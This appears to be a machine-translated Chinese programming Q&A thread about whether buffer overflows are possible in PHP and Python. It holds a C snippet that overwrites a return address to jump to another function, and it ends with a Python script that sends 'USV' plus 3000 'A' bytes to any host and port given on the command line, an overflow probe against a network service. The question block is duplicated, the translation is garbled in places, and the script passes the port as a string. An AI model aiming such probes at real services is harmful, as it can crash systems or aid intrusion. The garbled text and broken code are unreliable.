这里是C的一个例子:如何在PHP/Python中进行缓冲区溢出?
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
这里是C的一个例子:如何在PHP/Python中进行缓冲区溢出?
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
由于PHP是一种脚本语言,没有指针和字符串类型是二进制安全这样的事情不会在PHP工作。
但你为什么要这么做?
(哦,有可能是在PHP中的错误导致缓冲区溢出,但是这没有什么热点可以用任何方式依赖,通常是固定的相当FFAST ...)
做在PHP中类似的东西不会导致相同的行为。
对PHP进行解释并始终检查您正在执行或未执行的操作是否有效。因此,您不能 - 例如 - 溢出缓冲区。
因为php,python和每一种解释型语言都必须先通过解释器,而且你没有完全访问内存,这种语言不会让你去做一些像你发布的代码一样的游戏。
事实上,Python和PHP被其他人所建议的解释实际上并不是重点。重点是几乎所有的API和语言语义都暴露在错误检查之中,使得不可能有可利用的未定义行为。即使你编译的语言,它仍然是不可能的。这并不意味着你不能暴露可以做任何事情的不安全的API。实际上,使用Pythons的ctypes模块,应该可以创建类似的行为,但是意外事件难以做到。
很抱歉,您已经达到了Python的弱点。不幸的是,这是设计的,所以很少能做到。也许你应该留在C.
正如马丁五世Löwissaid:
Python不支持缓冲区溢出,对不起。
PS哇。看起来好像几个月前,我读了那篇文章,但它已经是7年零一天了。
import sys
import socket
for carg in sys.argv:
if carg == "-S":
argnum= sys.argv.index(carg)
argnum +=1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum +=1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV" + buffer)
s.close()